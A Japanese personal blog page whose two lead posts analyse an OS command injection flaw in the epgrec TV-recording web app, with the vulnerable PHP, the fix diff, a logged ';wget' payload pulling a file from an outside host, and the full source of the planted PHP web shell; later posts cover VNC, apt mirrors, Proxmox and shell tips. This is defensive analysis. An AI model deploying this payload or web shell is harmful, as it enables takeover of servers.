2014年2月23日日曜日

「続編」epgrecの脆弱性を検証する

前回 epgrecの脆弱性について検証しましたが、しばらく対策について
記述していませんでした。
私の場合、epgrec fork の epgrec UNA というものを使用しており、UNA版での
対策について検討したいと思います。

fork版の開発者から、修正パッチが出ているのでそれを適用します。
http://d.hatena.ne.jp/katauna/20140118/1390017028

パッチ内容を確認します。

$ diff -u /var/www/epgrec/install/step5.php ./step5.php
--- /var/www/epgrec/install/step5.php 2011-10-09 16:57:55.000000000 +0900
+++ ./step5.php 2014-01-18 12:13:04.000000000 +0900
@@ -4,10 +4,6 @@
 
 $settings = Settings::factory();
 
-if( isset( $_GET['script'] ) )
- $epg_rec = $_GET['script'];
-else
- exit();
 if( isset( $_GET['time'] ) )
  $rec_time = $_GET['time'];
 else
@@ -15,8 +11,21 @@
 
 echo 'EPGの初回受信を行います。'.$rec_time.'分程度後に<a href="'.$settings-%3Einstall_url.'">epgrecのトップページ
を開いてください。';
 
-@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
-
+if( isset( $_GET['script'] ) ){
+ $epg_rec = $_GET['script'];
+ switch( $epg_rec ){
+  case '/getepg.php':
+  case '/shepherd.php':
+   @exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
+   break;
+  default:
+   $alert_msg = '不法侵入者による攻撃を受けました。['.$_SERVER['REMOTE_HOST'].'('.$_SERVER['REMOTE_ADDR'].")]\nSCRIPT::[".$epg_rec.']';
+   reclog( $alert_msg, EPGREC_WARN );
+   file_put_contents( INSTALL_PATH.$settings->spool.'/alert.log', date("Y-m-d H:i:s").' '.$alert_msg."\n", FILE_APPEND );
+   syslog( LOG_WARNING, $alert_msg );
+   break;
+ }
+}
 exit();
 
 ?>
これを見ると、URI部分に「?script=;wget〜」のOSコマンドインジェクション攻撃をされた
場合には、処理の実行を中断し攻撃の痕跡をログに残すように変更されています。
scriptパラメータに渡して有効な文字列は「/getepg.php」と「/shepherd.php」のみに
限定されている為、これで攻撃は防げると思います。
そもそもなんですが、このWebアプリはWANに公開することをあまり想定されてないようなので
LAN内限定でアクセス可能に制限し、外から使う時はVPNやssh port forward 等を組み合わせて
利用することをオススメします。そうしないとまた他にも脆弱性が発見される可能性が高いように思います。

# 前回で紹介した攻撃者が不正にアップロードしてきたPHPシェルの検証ももっと深く突っ込んでやりたいですね・・・

2014年1月21日火曜日

epgrecの脆弱性を検証する

epgrecの脆弱性が巷で話題になっているようなので検証してみたい。
この辺を参照

epgrecとは、Linux環境でテレビ番組を録画するソフトウェア、もう少し
詳しく言うといわゆるWebアプリケーションである。

今回問題となったのはこのepgrecの脆弱性、問題となったコードは下記
epgrec/install/step5.php
if( isset( $_GET['script'] ) )
        $epg_rec = $_GET['script'];
else
        exit();
if( isset( $_GET['time'] ) )
        $rec_time = $_GET['time'];
else
        exit();

echo 'EPGの初回受信を行います。'.$rec_time.'分程度後にepgrecのトップページを開いてください。';

@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );

exit();

このスクリプトに「OSコマンドインジェクション」の脆弱性がある。
@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
この部分、外部から「script」というパラメータで受け取った値を
何のチェックもせずに @exec() メソッドの引数の一部として渡してしまっている。
この場合、$epg_rec 変数の中に「;任意のコマンド」と、セミコロンをつけることで
OSコマンドインジェクション攻撃が成立してしまう。

今回の攻撃リクエストは下記
87.181.247.107 - - [12/Jan/2014:17:51:44 +0900] "GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol HTTP/1.1" 200 148 
"-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 

これはつまり、WebブラウザのURL欄に下記のように指定してページを読み込んだことと等しい。
http://被害者のサーバ/epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol
これのURLエンコードされている部分(wgetのあたり)をデコードすると
;wget -4 -O /home/(ユーザ名)/public_html/epgrec/thumbs/tv.php http://gesopls.de/script/epgrec_shell.txt
となる。wgetコマンドはファイルをダウンロードするLinuxコマンド。 wgetの-4オプションは、IPv4のみに接続するオプションで、-Oオプションは保存先のディレクトリや 保存ファイル名を指定するオプション。 今回はepgrecインストール先のthumbs/ ディレクトリの下に tv.php というファイル名で epgrec_shell.txt をダウンロードさせた事になる。 クラッカーが任意のファイルをPHPが動作するディレクトリにアップロードできたというわけ。 そんでもって、どんなファイルをアップロードされたのかと言うと、アップロードされたファイルの中身がこちら
epgrec_shell.txt
<?php 
 header('Content-Type: text/html; charset=utf8');
?>
<html>
<head>
<script language="JavaScript">
function hex(d) {
 return d.toString(16);
}
function Encrypt(theText) {
 output = new String;
 Tmp = new String;
 Temp = new Array();
 TextSize = theText.length;
 for (i = 0; i < TextSize; i++) {
  Temp[i] = theText.charCodeAt(i);
 }
 for (i = 0; i < TextSize; i++) {
  Tmp = hex(Temp[i]);
  if (Tmp.length == 1) {
   Tmp = "0" + Tmp;
  }
  output += Tmp;
 }
 document.cmdform.cmd.value=encodeURIComponent(theText);
 document.cmdform.submit();
}
</script>
</head>
<body>
<center>
<form name="encform" onsubmit="return false;">
<textarea name="dcmd" rows="5" cols="50">
</textarea> 
<br/>
<input value="Execute" onclick="Encrypt(this.form.dcmd.value);" type="button"> 
<br/>
</form>
</center>
<form name="cmdform" method="GET" action="">
<input name="cmd" type="hidden" value="">
</form><br/>
<?php 
function hex2str($hex) {  
 for($i=0;$i<strlen($hex);$i+=2) {    
  $str.=chr(hexdec(substr($hex,$i,2)));  
 }  
 return $str;
}

if ($_GET['cmd']) { 
 if($_GET['sjis']==1) 
  $cmd = trim(mb_convert_encoding(urldecode($_GET['cmd']),"SJIS","UTF-8"));
 else 
  $cmd = trim(urldecode($_GET['cmd'])); 

?>
Command : <?php  echo $cmd  ?>
<br/>
<p>
<pre>
<?php 
 $cmd = "(".$cmd;$cmd .= ") 2>&1";
 if (!$_GET['type']) {
  system($cmd);
 } elseif ($_GET['type']==1) {
  passthru($cmd);
 } elseif ($_GET['type']==2) {
  echo (exec($cmd));
 } elseif ($_GET['type']==3) {
  $output = shell_exec($cmd);
  echo $output;
 } 
?>
</pre>
</p>
<?php } ?>
このスクリプトの詳細についてはまた後日検討するとして、結局何かと言うと これはバックドアだ。 テキストエリア欄に任意のコマンドを入力すると、実際にサーバ上でそのコマンドが 実行されてしまう。コマンドの実行権限はApache2を動かしているユーザの権限になる。 大抵の人が「www-data」になると思われる。 下記は私が実際にこのスクリプトを検証してみた結果の画面。Webブラウザを通して 任意のコマンドが実行可能になっている。
このようにして、クラッカーは好き勝手に番組を録画し、好き勝手に自分のサーバへ
FTPやscp等を使ってアニメの.tsファイルをアップロードしていたものと思われる。
そして、このバックドアはJavaScriptによって暗号化したり復号化したりしながら 処理をしているように見えるが、これは何のためにこんなややこしいことをしているのか 現段階ではちょっとわからない。
Apache2のログを難読化するためにやっているのかと想像したのだが、実際にこの状態でログを確認してみると下記のようになる。
192.168.11.30 - - [21/Jan/2014:23:50:52 +0900] "GET /epgrec/thumbs/tv.php?cmd=uname%2520-a HTTP/1.1" 200 843 "http://mint-rec.local/epgrec/thumbs/tv.php" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36"
これではどんな任意のコマンドを実行したのか丸見えなので難読化(?)している意味がない。

一先ず今日はこの辺まで・・・。
海外のクラッカーにクラッキングされないように、きちんと脆弱性を修正したパッチを当てましょう。
このepgrec、意外と脆弱性が他にもまだまだあったりしそうな気がしますね・・・。

2013年12月27日金曜日

Linux mintでVNCを用いてリモート操作する

Linux mint MATE 32bit 環境でWindowsのVNCっぽくローカルコンソールのGUI
画面と同じ画面をリモートから操作する為の環境を構築する手順を書きます。

まず使用するVNCサーバソフトウェアは「x11vnc」になりますので
このソフトウェアを下記のコマンドでインストールします。
$ sudo apt-get -y install x11vnc
次に、VNC接続するためのパスワードを設定します。
パスワードはバイナリファイルに保存しておきます。
下記コマンドを実行でパスワードを設定します。
$ sudo x11vnc -storepasswd /etc/x11vnc.passwd
パスワードを聞かれるので、打ち込みます。

これでパスワードの設定が出来ました。
次に、OS起動時に自動的にx11vncが立ち上がるように設定します。

$ sudo vi /etc/mdm/Init/Default
このファイルを開くと、スクリプトが表示されると思いますが、
Shift+Gキーを押してスクリプトの一番下に移動します。
exit 0
と書かれてある上の行に、下記をコピペします。
/usr/bin/x11vnc -xkb -auth /var/lib/mdm/:0.Xauth -noxrecord -noxfixes -noxdamage -rfbauth /etc/x11vnc.passwd -shared -forever -bg -rfbport 5900 -cursor arrow -o /var/log/x11vnc.log
これで、自動起動の設定が出来たはずです。
1度OSを再起動しましょう。

再起動が終わったら、手元のVNCクライアントから
ポート番号5900番に接続してみて下さい。
パスワード認証されると思います。先ほど設定したパスワードを入力すると
無事接続できると思います。



2013年11月26日火曜日

Linux mint MATEのパッケージダウンロードを高速化する

Linux mint はデフォルトで海外のサーバ参照していてダウンロードが遅いので
下記を変更して日本のサーバを参照するようにして高速化することが出来ます。
apt-get等で遅いと感じる場合はやってみると何倍にも速くなると思います。


/etc/apt/sources.list
内の、
deb http://packages.linuxmint.com/ maya main upstream import
↓
deb http://ftp.jaist.ac.jp/pub/Linux/linuxmint/packages/ maya main upstream import


http://archive.ubuntu.com/ubuntu/
↓
http://jp.archive.ubuntu.com/ubuntu/
と書き換えます。
ついでに、Medibuntuプロジェクトが終了したので、下記をコメントアウトします。
# deb http://packages.medibuntu.org/ precise free non-free
以上で、高速な通信によりパッケージのインストールやアップデート、日本語化等が
かなり高速化されます。

2013年11月4日月曜日

Numer0n 作ってみた

久しぶりに夜な夜なPythonでNumeronを作ってみた。
色々ひどいコードになってしまった。
とりあえず突貫で動けばいいやレベルで作った感じ。

https://github.com/falconws/Numer0n/blob/master/numeron.py

Python 2.7.4 でコンソールから実行して動作確認しています。

絶対なんか色々変なコードな気がする。
突っ込みを入れて欲しいです。
# 実はEmacsの操作の練習も兼ねてたりする。

2013年10月18日金曜日

Proxmox VEを検証してみた

Proxmox VE
http://pve.proxmox.com/wiki/Main_Page

を検証してみました。
理由は、今VMware ESXiを自宅の仮想化インフラとして使っているのですが
無償版ユーザを切り捨てる感じに動いているようなので、このままESXiを使い続けることは
難しくなるのではないかと移行先を探してのことです。
また、以前より自宅にはLinuxマシンしかないので ESXiの管理コンソールがWindows版しか
無い点に不満を持っていたのも理由です。
(※wineを使ってもvSphere Clientは動作しません)

Proxmox VEとは、Debianベースで構築されたKVMアプライアンスサーバです。
公式サイトから1つの .iso ファイルをダウンロードしてきて、CDに焼いてサーバに
インストールするだけで、Webサーバが立ち上がって他のマシンからhttpでWeb接続して
ESXiのように仮想マシンを作成したり設定したり操作したり出来るというもの。

インストール自体はとても簡単で10分〜15分程度で終わります。
終わったら他のマシンから
https://<サーバのIP>:8006/
へ接続するだけで、すぐに管理画面を利用できます。
※アカウントは ユーザIDが root パスワードはインストール時に設定したもの。

色々検証してみたものの、乗り換えには使えないと判断して断念しました。

以下Proxmox VEがダメなところ
1. 日本語の情報、英語の情報ともに少ない。
  特に日本語の情報なんて皆無と言っていい程に少ない。日本じゃ使われてないのかな?

2. Linux版Google ChromeやFirefox等から仮想マシンのコンソールを開こうとしたら開けない(エラー)。
  公式フォーラムで聴いてみたところLinuxにバンドルされてるOpenJDK使うんじゃなくてOracleのJava使ってテスト
  してみたら?とのこと・・。
  OpenJDKで動かないとか割と面倒。
http://forum.proxmox.com/threads/16397-Can-t-connect-VM-via-Linux-Web-Browser?p=84455#post84455

3. ESXiのようにOSインストール用のisoファイルが大量に置いてあるNFSサーバをマウントする時に不具合がある。
  NFSサーバマウント先の
  【NFS root】/template/iso/
  ディレクトリ直下しかISOファイルを参照しない仕様になっている模様。
  これでは不便すぎて使えたものじゃない。致命的な仕様上の欠陥はこれ。

4. 全体的になんか不安定
  コンソールに接続できなかったり微妙に不安定な感じ。

5. WindowsゲストにVirtIO Driverをインストールするのがちょっと煩雑
  手順が若干面倒。VMware Toolsみたいにお手軽にさらっと入らないものか。

6. spiceプロトコルで接続するにしても不便
  RDPみたいにお手軽には出来ない。色々面倒なことが多い。


全体的に面倒だったり不安定だったりで乗り換える気にはなれませんでした。
VMware ESXiはWindowsが無いと管理画面が使えない点が最悪ですが、地味に色々便利で扱いやすいです。
何か代替え探さないと仮想化環境難民になってしまう・・・・・・。
XenServer? いやーオープンソースで仮想化やるなら基盤はKVMでしょ?とか思う今日この頃でした。

2013年9月18日水曜日

シェルスクリプトで拡張子を簡単に取り除く構文

今まで知らなかったのでメモ。
こんな簡単に拡張子を取り除けるのか・・・・。
今まではわざわざbasenameとか使っていたのに。
for i in *.ts
do
    echo ${i%.ts}.mp4
done
とかやると、拡張子 .ts のファイルから .tsを取り除いて【${i%.ts}の部分】
その後.mp4を付与することが出来る。
これが何の役に立つかって、例で示したコードだと .tsファイルを.mp4へ
エンコードするときとかに役立つ。
今まで結構拡張子を変更したいとき煩雑なコードを書いてた気がするので、これは
かなり楽でスッキリしたコードになるなぁと。